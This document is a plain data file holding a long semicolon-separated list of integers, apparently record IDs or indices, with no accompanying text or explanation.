41675;29456;24225;27886;92045;54333;43457;73594;73425;14568;47285;52908;49629;105719;104456;96967;49558;27968;75821;84137;23740;53879;63514;94086;87316;99369;78845;43189;58112;36902;44009;28921;104673;28274;83117;86647;85349;55146;84400;12730;65069;24260;39547;40117;12930;17690;17603;21126;85816;102706;93268;42811;101070;85214;200045;91480;22909;71923;86619;59327;13882;38973;38384;86454;49093;91261;59785;20378;93520;41363;49424;62700;92501;49568;99555;66731;47327;44160;83809;30174;200107;10357;42658;77454;69920;87425;34565;26847;65138;51673;63545;69772;91023;86246;40907;17354;70567;68454;50278;103142;78007;53328;40834;91263;22086;66105;58625;69433;52011;89570;38833;45659;53320;25136;53367;47472;91862;39474;63517;61013;12478;25288;19872;73212;87875;80136;53130;94670;68556;96900;17601;14039;56574;36676;87515;101243;30273;79856;42315;25660;30377;77972;40138;82904;71336;87173;40618;43004;24328;84000;93069;92333;40134;30527;93375;27268;13721;12561;100705;32885;106977;77434;41419;34334;69558;104962;104538;103347;86157;104072;94196;61916;19133;34827;73027;13794;61299;65913;62890;73900;95952;61092;56942;55413;87728;54852;37389;82782;35726;78730;97017;100139;101012;85266;11396;55116;107094;12080;49186;105659;14306;46065;24681;84147;62857;34335;60085;106119;14721;44791;29075;28872;11516;35472;40031;28334;106750;79160;12381;75059;59184;25752;80871;45770;100622;51723;72604;94553;12603;43253;13374;96550;103993;28840;31776;106278;82576;24102;53995;78588;65021;94659;10973;79214;52017;23484;42387;97817;35413;25609;88033;57038;33893;39856;16464;50292;34183;99898;17980;16054;14739;70187;17483;77565;102005;39121;28489;40624;36079;94129;26551;73085;30868;102219;64154;90973;94343;32279;102207;105847;48487;17025;69322;64409;72932;104232;11753;90765;34374;14280;10466;20872;85046;65045;62086;22160;90267;46810;51381;48668;50716;97494;22979;60666;95310;15413;21462;48513;52636;85643;96252;99020;47372;48197;38042;80179;50374;75312;27155;94090;43789;81754;27373;41993;62128;40385;59064;85582;44786;38930;82591;17295;25802;26130;52547;48564;84287;103425;80804;57633;76776;92723;13793;34416;24429;80574;91253;20745;36887;88958;81698;39994;91598;75269;38537;84723;45090;56342;37947;30340;104384;70611;86320;69801;91664;62888;94771;15430;11053;14090;86835;37920;88568;49349;68219;96116;66377;51633;13508;26920;66038;32120;38941;91802;52251;75705;80157;74470;11389;16726;102008;93503;10608;100541;19933;57392;67733;15771;16952;68054;105350;93303;41455;106277;76455;88921;17200;39492;50328;55052;91434;52196;89768;38513;28429;69797;26240;78388;76384;40001;12724;81068;84490;14303;27833;54023;48825;41485;25364;32440;73702;37037;56946;40136;65244;96380;87111;52140;88154;105849;78185;26139;16523;21441;107041;103903;22761;22612;89431;85759;91154;99958;26045;58297;89962;25171;83626;41193;63016;85880;57466;23491;67706;90461;91713;59815;53726;47276;14409;87232;67514;61755;105450;67380;97984;65172;44852;40315;92768;71222;29296;99090;33736;79028;78938;76599;100255;100258;53410;84197;50749;13745;91208;58709;77058;46968;30624;93759;74931;48198;42311;10075;86376;72438;46470;71956;18664;65100;79111;57703;47464;48792;21224;81725;52506;62992;26690;47705;82101;52117;29894;46585;56465;79351;16587;91881;51853;105169;53419;30829;57947;16597;83652;38448;13832;22529;50386;97294;45472;90795;82589;47140;47416;53603;101437;41476;80671;83331;41366;22666;46234;95680;59181;49104;38272;14793;42385;18188;57138;74484;97957;71786;38468;21776;51872;104419;46546;28389;25310;31650;75219;14124;37186;84928;57228;50045;49671;96864;37988;96077;105267;82411;76095;17155;82192;19181;101331;90777;63628;49505;46406;101685;82443;83489;15807;106297;26144;50267;78739;39124;75307;90006;91041;77967;11797;19616;25714;44368;25438;31216;33518;40667;83528;92356;17176;54260;30853;27880;43838;37061;12534;79752;57622;46754;82574;49777;73562;44468;67778;60074;36323;43043;78831;13091;61546;10663;82025;17596;26253;89771;96992;46056;46691;59443;73035;51512;15168;66768;64717;61031;75322;57803;38058;66418;95599;105912;68651;71099;34250;93102;22447;76999;106670;75071;78216;43358;33068;66876;45229;76656;27622;102626;94163;56383;15721;86762;50307;31155;66558;78918;99880;24323;40547;58111;90552;38548;78820;77965;20438;62913;10028;29742;55156;47811;96983;62369;93316;71396;65948;32044;50107;46482;24420;94130;21145;20871;49055;33914;91397;55184;92562;51721;23197;56371;31664;97858;58144;87877;22833;54720;23434;77614;88428;33379;74299;107047;16236;14228;81640;75171;97424;78913;92840;28187;61174;76364;49552;49496;52582;29736;69480;62229;19456;15426;53000;23343;86100;12346;100250;90264;21089;31201;29885;41327;35762;11187;57259;23174;78945;17048;58093;101678;41783;46905;46376;52659;19058;78027;102926;65462;81873;94760;104243;45386;56460;60071;69685;19470;13694;66965;71912;97256;14450;15117;90356;28618;61549;86391;53422;30485;56483;49675;30029;22708;65345;103060;30932;76913;24776;92567;26561;63546;87885;31762;86392;12296;71650;29776;56369;47807;106574;80488;20483;81372;59976;52390;15559;86997;15438;24632;78436;59021;66948;40931;76954;41023;78184;78778;20639;65077;107002;102217;37811;87149;23423;62399;19316;25772;70610;106464;63642;35237;34664;48149;100333;33776;22406;78238;69268;23630;62920;99635;20933;17662;34343;65554;45365;23042;70416;26361;58222;11026;76522;76730;79098;15113;35890;21353;72992;16559;70469;63098;28050;62236;102940;45585;46025;53284;90261;16112;45917;96566;91975;96544;65163;72690;73442;63375;55484;12798;46232;93532;50333;102036;71354;95053;96619;47849;48818;80933;92908;34426;69662;81101;58904;56429;45428;20700;43725;18619;44443;40307;89779;33549;79677;23911;51025;55429;14856;70442;46697;56955;99620;50537;56793;82705;78112;15483;16281;96130;47813;92327;103226;32080;88750;75185;16439;62064;66445;62728;59893;106987;12691;35453;31072;101163;51406;85378;43628;11128;96243;34873;17387;85960;65626;95419;91195;59834;13192;94338;105084;80032;39420;107013;45380;22897;70068;51265;20842;77756;57005;43762;84931;101358;88710;77008;38393;63608;55210;104565;68670;27482;75876;63606;84988;78296;100057;56283;93190;87601;101780;40484;103428;106790;56064;34975;51988;86808;103876;82347;21652;71574;39015;22051;27807;105423;39072;11099;59894;100167;93554;101705;31502;19388;69392;33679;77841;102500;56457;93571;22281;44573;57596;17558;26563;31812;72297;46083;56688;67990;35529;70866;50676;28619;69413;48530;93951;32008;39212;78825;94672;20543;76403;26357;60115;104065;80532;85028;89758;14673;26070;53338;31644;85444;101351;106089;31434;53237;65973;30647;36759;97649;77678;69036;63665;44881;71339;93844;69058;51158;81501;61749;39418;89439;62136;105469;69738;31727;37499;97938;58145;75868;93853;84794;27243;84465;103676;14241;70518;84529;92381;90709;19578;24089;90987;51369;15002;11607;106902;19571;28579;104787;106698;45149;30516;60350;99608;105089;84432;76757;53617;89011;53698;20948;60580;71772;10948;81822;70173;63583;85345;35075;84550;52782;60234;81609;92619;39255;37182;23580;10861;81762;69615;103772;80121;34815;33554;81491;58533;44903;43905;39238;59957;86939;92306;84127;66134;20781;106128;79448;75381;21753;23544;77522;106607;58515;56571;27543;13190;15636;93282;104524;72905;61342;95558;96006;39234;18685;75681;83913;39260;30773;49390;71791;53277;63988;80370;17674;67236;57470;22250;41964;68396;24203;72647;97037;57752;87178;102784;91706;32805;18758;82720;84207;70693;50602;20529;34268;79097;93899;80851;44332;81874;90184;32027;27532;81064;56648;84364;74695;33329;61046;59255;91092;17278;66967;43981;39993;25784;64221;14472;67064;37445;90436;28376;37813;72746;33278;34075;71662;10117;50344;19102;94955;44859;41314;66490;18627;37712;79622;63900;36083;72451;71645;80507;56410;87110;21655;51435;67716;24751;82429;52138;69237;102309;80101;15830;29413;91778;36001;10927;39269;41510;71684;71800;75808;92153;57664;107020;71019;88613;47006;81378;50458;26397;80787;15714;53446;67627;88612;18248;46338;21223;47037;72309;37365;32823;47097;53229;54165;57659;73773;33985;36527;10916;30992;101382;67730;104571;90802;69090;84768;18538;66607;36024;92997;68581;93214;20866;106802;84960;46701;71032;17069;53574;68646;100366;200125;90333;89480;48955;99836;77138;40422;43889;62138;55553;104430;74831;27731;54207;37372;64148;71029;10363;16800;54819;54680;15232;70481;26741;61506;106437;56657;62421;84166;92824;66270;26785;105171;19754;22497;21469;107007;42686;13280;34396;20787;93063;62585;91427;92352;26428;89903;73043;28896;86705;83643;48635;41405;42856;81281;82683;10511;27774;49361;102239;60823;200008;42380;99133;35062;33582;20444;63173;90155;20791;41228;66845;66727;34515;27224;13802;90939;31995;36716;16324;59403;24056;39786;57447;89111;24948;10850;104775;78966;97007;77597;81138;24065;93868;73761;100190;49243;60169;106615;27306;17057;102614;57799;97501;37041;11354;47051;90058;95731;48607;17833;48310;22393;46710;28595;106476;74605;93982;70052;30940;45046;57081;74298;25009;30598;85645;77788;54316;75646;32395;76012;106351;43498;52313;45169;88774;44650;39837;71930;13285;23240;24574;21842;67223;106657;103402;97111;51947;104395;46129;79356;42594;28295;60078;12042;64517;60478;70723;39183;39022;42217;101571;22584;13830;76634;97474;87729;33100;14456;15154;57760;64883;14984;54061;13457;99227;89556;93524;69068;35383;87465;61343;104048;87462;31456;47692;91420;102513;11939;11912;40164;106048;57112;25642;72707;101924;64547;24794;88464;53068;69427;88980;54635;72900;81370;69154;53212;45346;35535;71469;90109;47609;69095;19188;39568;37886;51744;102255;81154;56224;24090;93650;37491;56609;26958;91164;28904;92721;49713;22384;41122;19980;28733;89032;101254;86964;71039;16701;43412;71289;82784;64910;23634;106916;97948;45105;81564;77733;65910;100424;91684;64525;65935;70064;102697;54459;61156;36014;84738;12388;78912;85045;82810;16711;16073;45933;37958;19095;11990;93123;89689;53286;39605;69441;22952;64851;37553;39246;18090;51315;45884;60691;27899;105624;76499;103956;101662;54757;85156;103708;49236;66317;96966;59002;34066;92504;33638;41777;38094;92289;34923;28519;16075;45941;99942;23133;72664;12202;101335;69759;104860;65798;77472;78502;10020;62514;21229;76467;69357;30798;91436;30684;60053;27908;35224;94017;12358;66614;37593;32651;80642;49135;67957;91165;93767;23055;36111;43248;37524;46715;74664;18735;40613;42162;74833;29809;14976;11701;32702;94496;91106;101309;103377;82709;66781;13819;39122;29761;54727;104659;58177;24379;12454;89818;62909;76578;97646;58125;84510;102547;13485;72990;35503;34611;85563;39279;31341;87603;74416;19471;55501;41416;102117;200059;11449;50281;56770;42212;95015;100928;79527;104983;45699;58468;100993;57921;100070;10343;13944;102550;50197;90089;99408;43878;68245;36094;102611;79644;103009;22953;60280;68366;62550;41885;29316;23498;83921;64454;69867;83018;24030;89611;65063;89561;21015;51681;14364;71648;105536;90071;65248;22603;28424;58301;38687;101637;101080;36160;92215;76980;66249;100601;10262;85622;49094;51942;60799;48229;81980;41309;13493;90168;23471;51273;48999;105098;67728;67068;92494;32649;34742;96740;68759;82435;46279;45709;49058;70342;15709;62056;63622;68277;32512;74756;15777;84597;51769;69834;31921;59657;19010;65559;62294;99626;99210;34184;94051;41771;101256;97358;67876;70128;66310;32714;14838;56373;16258;45157;42513;42575;15855;91935;99762;41501;25800;61425;48444;104521;73686;51312;41525;22950;100062;11655;44470;30006;102368;59752;91709;41639;80368;57074;27992;86630;103627;75279;58769;41104;71242;13729;39040;77630;102949;21459;27707;48224;106093;34790;50840;74482;18569;76057;57526;24479;29990;57603;76382;58945;76854;52168;62242;28158;32186;89057;62233;70437;68800;79785;59724;48689;78745;77575;39402;105531;33309;51610;102516;29734;81928;51960;104856;19842;12664;57608;100802;67376;63932;20225;36865;18823;42854;100707;85181;96134;66412;34700;82391;45027;96452;58895;48808;97559;50934;96897;47346;19836;31366;51255;32942;33476;62598;31657;96720;38126;36433;31156;93561;90253;102246;79875;106869;65556;39631;101422;77725;72176;100033;47719;102575;66335;33390;72179;46564;99728;41008;88589;44453;39680;55049;78394;104003;73136;38503;14784;35029;19243;29477;104578;73939;74377;87248;15761;15781;16048;41352;28443;103255;64210;67404;84638;47585;55191;49466;41179;64701;53986;30531;54609;76122;73683;80182;39732;11784;54071;29207;51571;16315;78211;56887;104011;87808;78188;57397;41434;75796;24332;92330;52281;32033;51301;33512;21017;12592;61869;56469;92527;57835;17021;105440;43429;32381;30184;56382;58134;101677;80258;63091;23345;52455;105716;37874;73082;54634;89688;82393;99905;99701;49601;65407;47211;65224;39058;99296;74733;72216;10638;94533;29839;50270;30415;77820;31991;36267;42349;20106;56708;65539;27510;17244;63758;23643;87486;10722;39237;11738;45564;86859;28878;21236;61873;24817;71562;91272;89307;24005;72238;61971;44788;33303;50673;35666;26298;67237;75513;40489;88922;66389;27947;95603;53863;47341;48732;19382;91537;71596;33734;30083;90881;58399;51508;82783;41723;99314;69337;47226;87905;53218;60077;76582;25585;56309;99900;97300;92576;35252;104123;101778;104270;92401;21098;20804;84783;90453;45480;20777;22356;78572;55865;25275;38874;68028;21789;92812;50657;67580;57563;94102;83332;61134;85778;39468;27201;40304;80901;40603;75182;69273;76942;46933;71027;44449;76022;40223;23132;19160;80548;60909;88618;53226;99263;55522;59367;65307;66360;13246;61421;31906;20388;84697;92766;81273;94502;10459;47069;94578;71656;101103;43915;33158;78442;39463;44787;68959;29406;80715;62896;41987;53655;106511;61524;12874;56680;79614;17038;54402;14035;100731;36379;46121;72609;40466;54295;28515;40592;14840;76402;73639;64249;24000;60941;103527;14324;49666;103709;103737;18009;21937;65114;50362;30489;23425;91533;100277;89694;100777;90487;29933;36631;32595;14529;28980;33396;40701;90780;104892;51416;15802;101366;77077;94239;89788;97464;95366;46239;76351;82911;102212;23134;100140;92796;60068;38285;73759;96003;100862;74549;77337;96096;71035;103106;104445;30537;38652;65570;102256;57028;69889;92890;12023;53940;101849;10743;102947;21346;63682;13472;90682;28766;19745;52160;35350;105949;84436;27082;60582;56876;104596;70045;29752;27022;106798;12579;16275;88068;25492;66621;51005;48533;16768;14518;77933;51402;41955;50201;61593;62791;99155;17814;54978;83749;22681;67195;46595;29315;25417;82789;26131;15311;41750;30147;51725;51463;62144;85516;106309;26620;78080;32175;11123;51031;13114;61102;73187;42298;52243;19399;48496;50738;105482;41054;84884;82565;93997;35143;56300;85877;14215;75276;49977;73547;36108;57166;91149;95416;86299;40819;94135;23258;99721;18222;29643;89515;85675;14887;73028;40357;48969;45690;68607;52300;15993;104830;12074;63145;106461;88602;52849;37511;28207;95309;79813;39138;42313;104312;13346;87374;51243;102264;87662;11940;15448;50988;51596;95996;73658;26706;21678;25247;67613;75384;92896;101659;60919;38865;38694;92245;62601;19619;16282;80228;99219;36097;25686;74876;62055;21744;55575;45910;18805;101299;24104;43670;86696;40147;48344;69108;59805;54294;21174;48710;25199;16211;18045;85652;38386;96148;13191;27644;14716;27505;77439;90863;55843;81568;101896;91201;48269;65053;75299;37282;37327;22771;51776;52441;51735;15217;42775;86530;54927;61145;72017;80387;97782;84414;27557;56588;36151;89552;92242;103064;64721;64743;63245;17673;20223;50215;74962;104510;76686;15138;54330;43226;39287;80035;51976;93140;52308;50748;27326;82621;48658;96639;29191;32050;67729;60484;73352;49261;25363;78908;51182;12660;104893;21490;103344;33349;32822;25322;59819;30272;93062;64650;43544;88796;84022;63785;71388;37823;87607;44096;42601;46836;13716;69044;76049;40940;66971;92155;32558;50433;64138;31126;64217;13329;61939;16919;85031;55325;57787;102053;62622;62458;52562;22119;41276;79522;68578;49592;69414;11831;50407;97998;16472;43308;10811;16849;89487;78947;67853;13563;60345;86894;53299;12916;100626;90103;56202;99011;14454;59750;66559;59757;37328;71425;97878;104326;79864;40838;52625;29802;13390;49937;22311;46068;33800;21680;106288;90817;41775;13147;36990;14349;51475;90849;31771;76186;72866;81181;41413;68326;55824;92993;69075;61268;10347;39508;22282;35672;45437;100945;22831;25291;73060;74331;60954;35499;29799;48846;32657;28571;66857;64719;79957;70421;22041;82572;27289;25921;67026;55762;34051;71564;91216;73226;37885;12609;42407;49929;96982;12911;36018;69005;54672;38528;68818;53392;24471;59439;45835;105895;73044;52894;89735;67582;46970;25172;50262;76732;28063;36402;22766;30473;28097;37386;72043;37663;87547;26567;16208;90160;49810;85746;58338;100528;29255;38271;105296;68058;24626;81797;106661;23545;63627;11198;46530;31715;23285;94695;63204;65445;58181;19621;61527;52882;97253;101997;55806;22721;97390;105192;82064;47189;40683;66138;61928;15147;93295;99343;97003;48691;20572;42693;32119;71571;104151;37981;84354;36912;94782;39101;57290;11008;44652;26442;65964;62152;12578;71524;72391;67130;50325;28490;20646;34199;99164;68324;101099;84002;93218;81155;50150;83481;42802;100222;86634;29679;76483;42520;13310;56930;95596;48319;16134;65477;54435;54355;59790;53333;76464;92179;83050;16166;32940;95020;70815;32054;82222;14648;15578;29665;54410;28951;78698;41545;50917;30013;79011;78970;91985;70653;41673;26626;57627;69447;79761;92349;66417;34478;103227;84271;71643;85864;68689;35939;45617;65600;104285;71667;72730;62339;97854;68310;97940;21756;21878;58870;51008;87478;13837;40813;31663;33615;70617;87214;49796;89607;37755;60370;14621;47331;52378;43969;75625;16167;87503;24487;93692;19405;44525;71287;21548;84309;80207;41916;30566;65301;41364;79760;38133;12703;38020;72744;102487;19749;47123;106832;47702;72881;65463;23100;65146;100906;44915;58159;38449;56109;22173;99743;94370;66215;82925;100509;53699;90988;96362;52899;68160;80432;11557;55955;44398;56055;105090;32036;46915;78299;55737;65221;49143;79088;48815;43539;21030;96861;39000;66976;64635;88752;89190;19575;89852;57671;18150;27581;16001;69753;42954;80723;77140;72689;97502;39344;64006;36021;33444;18921;42984;78057;91233;68696;50203;19590;95903;12233;97612;35855;22811;29173;63783;94414;82054;83140;56068;85308;63184;59604;19998;42356;15507;93498;82548;22547;45217;64530;10431;86398;58872;23910;84741;17385;105933;65364;58484;40389;56945;40238;35558;29412;63991;53545;67910;86004;63130;49294;90672;22825;105100;80301;55540;35669;33397;28182;14100;96538;40857;96568;95545;91018;22716;75694;35470;34459;90335;82494;26845;30780;35976;19639;97044;102025;104815;14738;15649;89601;59486;21669;74402;25744;51923;89728;57962;31267;12696;64533;13492;66205;28556;103002;60967;95819;97170;57244;97008;19600;29163;100724;27538;96878;82523;37190;20189;18157;50601;18949;54508;80856;101548;46270;12573;30875;105106;14513;10615;82664;11661;55356;64644;41370;46281;10143;48456;44508;37464;71811;19630;74083;101783;11619;65289;11001;71515;106704;19896;56157;18719;45605;36099;77624;68632;82918;75721;44278;83248;36066;18484;46877;12120;64860;32487;85313;105510;79164;28632;38501;49894;43820;36549;11028;12085;85247;40706;92460;65648;77578;84027;75969;73409;25116;79811;72244;72828;90512;14578;92031;60281;32870;50947;70983;60670;58575;36255;38460;18492;19712;91071;28484;91362;76111;36544;42852;40462;40754;85124;87499;91987;41575;27684;41682;74119;51865;90835;20349;87283;32596;23994;60459;59462;51485;81588;60922;26887;37724;82858;103019;55652;104493;40800;85172;19159;51576;82208;68805;70096;13499;80435;19152;82941;57673;70547;71470;74993;39597;56476;61432;84951;37739;71276;19898;41231;30242;42912;30688;39514;77722;68821;21574;78300;75858;104848;79578;70814;11511;15486;89866;58619;92002;15828;69624;87884;21800;96884;29901;55646;44855;54662;17775;35603;10202;45881;33712;105872;67111;61326;40947;96932;79185;66702;54336;35370;15835;44265;93905;39332;45209;60775;36244;29649;61151;95670;70154;94910;66125;48218;74158;106581;80074;26136;88082;68641;97919;67260;90181;54352;79381;102573;89375;28004;103836;35696;53717;58190;85219;103092;88719;11461;28249;38615;81128;67096;68191;31822;15520;60740;67995;93474;34557;47493;79596;39527;20144;15568;94418;25526;96755;80558;86469;95740;51513;12915;68596;59526;58005;63088;34714;75542;39960;79048;84335;35926;84092;87690;30596;68317;30081;101322;43960;103315;60632;57605;89691;105129;60355;30825;68313;75339;47195;95657;64482;74140;31078;64349;85896;25168;102491;67009;87260;39622;90713;39191;25077;47345;40512;99222;73772;70406;37963;77091;20985;46894;89320;101557;28517;67179;13370;16971;12569;57478;28312;72818;15251;65867;90098;100811;85648;33231;31586;79192;99967;17496;103922;49821;34962;56059;99326;92239;72005;94375;63436;35461;30731;79794;96419;31152;39619;60572;95381;60745;71218;32418;97546;89191;30490;43174;25306;27251;96958;87369;83702;90510;21628;75365;90280;59726;46047;13992;77604;64639;25761;32603;17362;29823;36510;24262;55944;51939;97206;96623;27363;27196;93445;16686;97448;37056;83100;93896;77168;23075;87290;90404;105347;14570;103755;24340;77065;83001;74221;49085;60796;100713;70931;94233;36218;47730;46288;87028;68455;71448;78066;72754;32505;78746;67443;18942;73452;47262;11812;51702;90533;28842;80456;14426;64300;79492;10808;30664;51584;62576;99844;17743;99421;72592;38281;41534;88801;68629;57046;41015;91107;67033;96650;27259;35805;26469;33258;34526;42100;35573;94009;91011;67701;97112;93280;82225;36202;32982;69521;29426;33209;76287;57902;94205;88601;63792;12862;99436;90948;93171;24568;34240;84276;80026;76905;81947;99423;85463;101172;18729;17096;101753;11606;17023;65934;66485;52560;32920;57980;75378;37236;94964;71616;77110;92302;87897;97549;68329;34273;97842;19654;15111;89524;47519;11075;44006;84787;18912;33789;19513;26421;42153;70984;52928;75274;105886;46026;73076;60794;101339;29043;96986;24287;80523;97255;103199;45524;62906;100954;17338;18088;72439;44269;40034;77827;104274;93332;102221;73543;99088;67325;106678;101261;85391;17801;49938;92837;99780;86218;41947;31388;13645;20974;39172;42208;62481;64461;68568;83107;59643;21132;14575;85997;40030;77497;70971;27514;38870;104082;58015;41311;16081;80925;13597;23475;61645;30087;83778;42851;75632;75490;94452;80908;16688;42832;33994;71459;63511;18369;17263;26433;94936;94689;40569;78140;88791;12248;71352;33213;36597;49990;68052;94882;39156;27444;103246;94549;50008;32058;76785;89073;82619;89291;12712;85203;81476;34030;63093;42454;21190;88788;85577;89912;92102;32329;29350;60511;55335;38292;99863;55341;20573;23334;96558;89354;78382;102283;16714;71330;72090;77190;84070;18227;33376;76796;48852;35486;62771;59317;18862;67343;52149;38459;30594;21062;106470;68677;74823;44602;33123;103407;19374;102087;64145;200069;79114;100367;88979;97701;103093;30195;78386;47463;24271;93226;94187;17083;92279;73233;99100;78639;33530;30856;77825;94144;46172;74035;17266;80271;50655;50723;92410;77956;45222;86209;16706;18883;40903;17317;105703;31453;37274;49379;69098;75537;50170;64947;15447;23363;23225;97925;15070;11907;76166;94214;92124;89186;77393;42410;104591;10012;64380;29209;60273;52450;82196;64356;43842;35718;54740;94220;62637;106514;37714;45253;47906;93043;106216;83283;55222;88083;88639;44286;30334;69275;90427;73511;25878;16536;26313;105755;29294;29432;45201;63230;65082;15029;30583;55768;55482;51903;18280;76488;27811;52406;23784;80900;100489;28064;93857;88993;28898;38771;71295;85700;11446;10026;36736;65941;28698;86434;102632;81159;57619;29601;10433;18910;23348;106804;23166;56123;63874;12391;68469;48336;93359;69279;96562;79249;19817;34811;82184;79421;81179;69267;93888;40586;39310;23999;97877;47658;52410;46097;39092;75810;89705;49330;58252;18731;28092;71374;74490;74317;59924;105017;14491;53325;85084;84918;13970;36508;75445;58659;13685;76869;40025;26910;66926;58172;94651;86791;102577;76138;14967;105632;94094;21597;101633;92023;79841;12568;15072;70051;70626;102149;62519;93643;102389;37297;46076;70797;81962;92157;37100;47800;104702;101010;22814;41345;53205;80297;43900;75585;40002;14692;94248;103241;25791;41494;86428;29914;39125;33064;60165;48984;40513;51547;26968;69222;15535;16949;40441;37278;94579;67288;15707;56367;33360;94508;55205;35519;100080;19791;47105;81545;72823;82835;84628;28306;96212;25027;86022;88790;28818;78231;36884;71630;77103;22003;79758;36127;15701;54549;47853;56114;86271;46283;92495;22747;92851;41367;62543;25600;14338;71249;24279;45495;39380;43769;27546;53020;106680;22289;87228;91046;75767;85884;60900;87088;62072;12297;76694;70375;46256;86416;93690;37356;11092;29565;66970;22257;23029;74705;16889;22618;106952;18888;92803;39169;42054;26880;16320;74726;86690;63018;68856;71958;71680;94002;80212;106324;100533;103864;60208;15700;94621;94525;35083;103826;105033;87495;11813;20116;45110;16672;27518;103068;52650;38866;104023;80176;14405;103705;32472;64838;47296;55301;14711;31751;103147;69578;31676;73602;28081;37723;103820;59725;13531;68652;96274;88984;43053;95280;86079;34939;33957;103401;79740;10664;58097;52939;42757;28897;83704;104638;76397;70181;30279;104911;92693;74532;102942;21422;69771;45513;25373;20088;18173;106049;73720;56816;87102;72140;21979;54494;53667;12595;31936;60942;79666;16561;62420;76036;60834;102572;67572;76176;79634;66854;41066;10346;73444;33869;19153;90219;19587;16476;79748;40941;42333;100551;22623;35914;88674;81223;57086;40033;84281;74828;19110;47659;34680;91508;65931;32953;53779;22940;84242;95517;105996;13671;36498;10358;38050;17171;69192;106113;71766;64990;32977;27516;50310;16237;18179;79032;35628;63307;95882;29558;40743;48958;29673;46175;107059;18444;14154;31330;96292;40404;23733;33005;31942;72822;62673;94299;42737;35446;44351;86003;31408;27302;64794;90955;33153;16488;12027;55338;87917;37982;78907;104542;80813;99319;47192;45230;87909;45458;81820;16267;75693;43907;99852;57950;106022;70212;29724;41229;31728;35416;85476;38880;63670;84838;59078;66934;103910;73729;62583;106417;56405;50408;42154;33516;91808;67001;102795;32525;46205;62747;54011;26598;55822;66289;58348;65757;67370;58570;85865;47048;86896;90907;14754;61691;44943;39525;83139;20382;40540;69895;65032;23292;16660;15826;28657;103811;88019;102640;73938;68363;99271;46614;37332;102122;40833;54689;42554;64769;91991;44436;27401;50949;11020;74957;25157;80064;38288;66447;96004;24929;77072;70798;21339;54030;87856;83714;23261;28071;61010;31191;85103;31119;17430;14502;31325;48223;41792;45097;78479;13744;81522;43658;62076;65490;40820;82665;85097;68006;104931;70696;62372;62084;49191;26530;105588;70269;25683;20394;99911;13152;47439;87445;93613;72169;42032;80965;200073;85154;88721;17039;14844;94807;64736;64275;47424;47720;35530;55713;70765;61531;104858;104055;81736;61536;53246;81167;90903;92989;100165;28440;80957;67231;79899;28180;99647;48744;38359;63296;105805;85416;40771;97990;83440;76102;65978;63946;36823;86034;25312;48957;65416;74820;31641;11821;97562;71248;84275;70725;80738;18848;55559;103413;90900;77686;32670;93178;11418;93696;39308;68379;75161;102903;62982;84737;96750;77764;33645;69190;15431;47237;31895;45470;81033;102944;75372;65686;57242;31856;91007;33875;11226;88913;55703;12878;61043;103632;73732;58921;47422;107148;103812;62434;58548;17607;105297;65915;100175;81755;53573;74894;87832;84234;79148;83949;92904;72969;86309;39537;96836;56084;16947;85025;38166;39490;69228;29147;91874;52497;97834;80410;86703;25047;37967;32765;11223;57809;76938;81393;70746;20300;25462;86855;32452;80231;99741;14639;47631;23060;16900;97312;80993;26123;18869;92798;22305;36173;38305;84721;77066;13129;25727;200070;21095;35392;39194;19715;94904;71068;90410;60988;90856;35426;86111;38259;80825;80062;32420;63084;102862;78157;59838;77838;103277;76983;67583;81114;11111;82321;90096;70265;76890;65165;92627;84153;88489;55846;49107;59393;104502;20012;83560;74489;53187;30259;19930;16777;14444;91313;39099;42814;17637;33907;46389;61287;24849;19937;87391;50674;100911;14777;48584;47840;34922;100835;18169;45696;91414;70730;90149;47249;91219;16263;89700;102124;66361;77801;39455;20904;61440;102585;34820;73328;66853;16212;68246;19665;93789;31232;71345;53803;24692;39281;71914;97049;89276;52490;97396;56928;86441;39950;25436;97061;56619;24009;68483;80349;25671;64960;26101;89106;38873;35518;59120;21318;28288;97119;68987;71392;80496;63896;32534;91039;80503;67725;18590;103717;53484;12721;63416;65988;96483;35576;67742;26071;50058;16666;67261;60240;49096;29590;32992;48163;83549;31557;11416;97945;49383;45312;37291;100317;96025;92149;95767;43361;73392;27641;76921;26922;50979;42525;37150;68445;20285;21260;25816;58593;67534;95549;53598;13165;102745;99894;44374;80334;28762;58561;11593;77802;75854;70496;43047;34355;77329;43557;65134;43809;49416;45398;68376;30871;72843;15193;46646;14192;34015;105492;95466;101939;94765;28880;64626;89419;92626;44871;88772;16363;30974;64889;49136;49959;48918;19944;83940;44818;65565;70448;35000;18434;25611;80524;81406;54367;54012;89180;100166;66850;62438;88808;33077;58965;43210;10501;80251;81541;100369;58283;87141;23020;86089;11255;73951;69838;30776;77661;102343;68117;61675;88177;63876;74980;100558;97042;95534;53663;30160;46055;66803;49908;23798;84501;89822;82688;22539;73431;12597;57587;64566;93707;24365;94398;27944;57448;34617;27969;18183;26770;13335;66881;87082;75610;45762;72287;55339;15863;20335;64925;21643;74128;102274;60525;84712;83032;93199;37417;35493;30392;23916;17146;39307;88975;53413;65387;53529;15564;86080;67076;41895;30921;27980;19269;83390;50240;71520;93110;106065;37612;49729;25044;34636;20601;34230;32311;83125;60432;27409;99593;31515;29526;39798;13331;66666;87585;41000;84509;72559;85092;78695;57300;29708;22667;10298;101763;63276;22610;68927;53081;200061;34176;39956;200042;25450;92729;36436;31153;29267;22574;11173;79101;46494;74235;60093;88003;79009;100938;77991;35677;70039;45326;72978;13674;49358;45893;66819;38051;89157;72994;95660;101501;86494;92443;19810;87360;65118;27999;66783;18915;70911;59075;74859;69597;67458;18430;99774;76952;15172;38436;99760;26185;81884;50869;77326;90952;89294;39325;96426;42219;68347;69680;80762;43888;91052;28415;24159;32849;106531;37579;63508;80662;84568;43972;65095;12303;76764;91548;89357;56089;105067;48602;58166;94035;58676;87240;12034;14758;44176;70846;71333;17143;65356;104200;81883;47656;60021;51505;47289;11866;41942;13967;55681;47279;39132;27415;74595;58358;78565;53350;37336;34137;88102;30587;42294;101843;44239;57236;38695;37737;86520;65406;47125;10139;22854;97146;99476;10165;104061;80291;93836;29410;69297;21477;65762;79263;33525;46105;104681;63538;49512;45798;13278;54610;14007;78114;64590;60612;72334;94126;51862;56745;73677;57042;94388;77824;11920;27252;80875;33225;96152;54888;86911;63987;66531;87339;102065;51280;45776;103217;47711;93892;59349;64310;28258;25295;10470;70959;102603;89673;89125;84382;71360;24674;21233;106524;94332;62455;85170;69292;64267;39041;57520;16965;47320;65564;69716;106822;19974;55138;39983;80004;81214;32201;20289;82852;50196;70623;86285;73049;63132;20476;89007;47054;34971;30135;65003;89215;32908;76872;85487;19393;44654;85199;102537;74193;55786;104425;42331;95462;43766;40764;78354;89503;65774;79587;71118;75020;51754;86593;44634;